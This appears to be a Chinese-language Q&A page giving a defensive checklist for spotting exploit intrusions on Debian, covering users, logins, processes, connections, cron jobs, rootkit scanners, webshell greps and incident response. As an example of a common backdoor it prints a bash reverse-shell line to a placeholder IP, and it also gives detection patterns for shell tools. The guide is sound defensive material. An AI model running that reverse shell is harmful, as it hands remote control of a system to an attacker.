温馨提示×

如何检测debian exploit入侵

小樊
50
2026-10-10 13:31:18
栏目: 网络安全

在 Debian 系统上“检测是否被 exploit(漏洞利用)入侵”,通常要结合系统日志、文件变化、网络连接、进程行为、后门特征等多维度排查。下面给你一套实用、可操作的检测流程(从快到细)。


一、先做“是否已被入侵”的快速判断

1. 检查异常用户和权限

cat /etc/passwd
cat /etc/shadow

重点关注:

  • UID 为 0 的非 root 用户
  • 家目录在 /tmp、/dev、/var 的用户
  • 最近新增的用户
awk -F: '$3==0 {print}' /etc/passwd

2. 查看当前登录和会话

who
w
last
lastlog

异常点:

  • 陌生 IP
  • 非工作时间登录
  • 重复失败登录后成功

3. 检查异常进程

ps auxf
top

重点看:

  • 名称像随机字符串(a8f9d、xq1)
  • 占用 CPU/网络异常
  • 父进程是 httpd/nginx/php 但跑 shell

二、网络连接与反向 shell 检测(非常关键)

1. 查看所有连接

ss -antup
netstat -antup

关注:

  • 到境外 IP 的 ESTABLISHED
  • 非常用端口(如 4444、5555、1337)

2. 检测反向 shell 特征

ps aux | grep -E 'bash|sh|nc|python|perl' | grep -i socket

常见 exploit 后门:

bash -i >& /dev/tcp/1.2.3.4/4444 0>&1

三、文件与目录入侵痕迹

1. 检查可疑目录

ls -la /tmp /dev/shm /var/tmp

常见:

  • 脚本文件
  • 编译好的二进制
  • .so 劫持文件

2. 查找近期被修改的文件

find / -mtime -7 -type f 2>/dev/null

重点关注:

  • /etc
  • /usr/bin
  • /usr/sbin
  • web 目录

3. 检查 cron / systemd 后门

crontab -l
ls -la /etc/cron*
systemctl list-timers

四、利用漏洞 exploit 的专项检测

1. 查看系统版本

uname -a
cat /etc/os-release

2. 对比已安装包与 CVE

apt list --upgradable

结合:

  • Debian Security Advisory
  • https://security-tracker.debian.org

例如常见被 exploit 的:

  • sudo
  • polkit (CVE-2021-4034)
  • nginx / apache / php
  • container / kernel

3. 检查内核 exploit 痕迹

dmesg | tail
journalctl -p err

可能看到:

  • segfault
  • exploit
  • unable to handle kernel

五、使用安全工具辅助检测(强烈推荐)

1. 入侵检测(Rootkit)

apt install rkhunter chkrootkit
rkhunter --check
chkrootkit

2. 文件完整性

apt install aide
aideinit

3. 日志分析

apt install logwatch
logwatch --detail High

六、Web 服务专项(如被攻破常见入口)

  • 检查 uploads / imgs / cache 目录
  • 查找 webshell:
grep -R "eval(" /var/www
grep -R "base64_decode" /var/www
  • 检查 .htaccess 是否被篡改

七、如果确认被入侵,正确做法

  1. 断网但不关机(保留内存证据)
  2. 导出日志和进程信息
  3. 从干净介质重装系统
  4. 恢复备份(确认无后门)
  5. 修补 CVE、改密码、限制端口

如果你愿意,可以告诉我:

  • Debian 版本
  • 是否跑 web / 数据库
  • 具体症状(卡顿 / 异常进程 / 被勒索)

我可以帮你精准定位是哪一类 exploit。

0 踩